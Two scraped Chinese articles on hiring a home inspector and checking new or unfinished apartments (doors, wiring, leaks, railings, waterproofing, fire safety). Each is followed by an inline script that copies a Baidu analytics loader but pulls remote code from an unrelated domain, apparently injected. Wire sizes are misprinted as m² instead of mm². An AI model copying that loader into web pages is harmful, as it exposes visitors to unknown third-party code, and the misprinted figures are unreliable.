你知道验房师怎么专业验收新房吗？

验房师是借助于技能、工具和专业知识，受雇于业主，受到一系列劳务合同等限制，对竣工的房子进行验收的一项职业。“两书一表”和《商品房买卖合同》准备好是为专业验收新房提供参考基础，在准备好这些的前提下，验房师是通过以下四个要点来验收新房的：门窗要查看、水电检查很重要、墙壁和天花板是否渗水、层高是否达到标准高度。1.门窗要查看专业验收新房意味着要更注意细节，要查看门锁是否灵活、门和窗是否有划痕、窗是否密封、门内外水平高度是否一致，窗上单片玻璃超过1.5m²，一定要用3C认证的强化版玻璃。2.水电检查很重要在专业验收新房标准中，水电也是要点之一。这不仅取决于是否通水通电，还取决于电线是否是国家标准的质量并且横截面是否符合要求。通常，电线不能小于2.5m²，空调电线应达到4m²，而且火线和零线不能接反。3.墙壁和天花板是否渗水在专业验收新房中，要查看地热阀、出水管和进水管是否符合要求，暖气片安装要牢固。还要看墙壁、天花板是否有裂痕、空鼓的现象，避免留下渗水的后患，到时还要专门请人修补。4.层高是否达到标准高度如果合同有说到层高问题的话，专业验收新房也包括测量楼层高度。2.65米左右是比较正常的高度，低于2.6米会给人一种压抑的感觉。还要利用卷尺估算墙体大致面积和套内实际面积，得出总面积后与记录的数据作对比。验房师还要一直随时做记录，不仅是要记下验收中出现的各种问题，还要拍照，为业主维权留作证据。虽然验房师进行专业验收新房要收费，但是够专业才能保证质量。要是预算充裕可以考虑聘请验房师。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

毛坯房验收要点 验房专业实务

验房是什么？验房专业实务简单来说就是全面检查的房屋的墙壁、天花板、地板、电气、水等项目。为什么要验房呢？验房是为了确保房屋交付合法，质量合格。保障业主权益，保证日后的居住安全。发现问题及时让开发商整改，同时也减少装修时因整改产生的增项收费。毛坯房验房专业实务要点1.入户门检查是否有划痕，施工时如果没有保护好，就会导致材料进场时划伤入户门。2.门框检查平整度是否合格，门的开关阻力是否过大，门框与墙间的缝隙是否填充耐候密封胶。3.窗户检查玻璃质量合格与否，如果设有排水洞，检查排水洞是否堵塞，轨道等开启方式是否流畅。4.阳台栏杆检查护栏高度是否达标，一般高层住宅的护栏高度在1100mm，栏杆垂直间距小于110mm。5.地面验房专业实务中现场要求平整度在正负5以内，如果不符合验房专业实务标准，可以要求在财产登记前免费维修。6.墙面首先是平整度检查，在最开始做验房专业实务的时候就要把墙面平整度测好。另外也要检测墙面是否空鼓，但是大家对墙面空鼓也不要太担心，一些小空鼓其实不用维修，属于水泥墙的正常现象。7.顶面首先检查抹灰。有些房子有非常明显的顶高差，一些黑心的开发商直接抹灰，做吊顶时候就很是麻烦。8.防水开发商一般都会做刚性防水或者卷材防水，在收房的时候把地漏堵上蓄水蓄个48小时然后跑到楼下去看有没有漏水就好了。9.排水在做验房专业实务的时候要对每一个地漏做通水测试，如果不通的话要马上整改。10.电器首相检查配电箱，检查是不是新的，曾经检查到过一些配电箱是直接从老的配电箱拆下来的，这就非常不厚道。另外也会用相位检测仪去检查开关插座是不是正常，弱点系统是不是正常，等等。11.消防首先检查管道是不是有阻火圈，阻火圈直径是不是满足要求，通气管是否能通到屋面上，如果是通到屋面上，那么也会检查通气管是否有阻火圈。很多时候业主不具备验房经验和验房专业实务知识，在房屋交付的时候就只看表象，没有深入理解房屋是否真的存在问题，只有通过验房专业实务，发现问题及时记录，给房子一个狠狠的体验，才能让业主住的更放心，更舒服。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();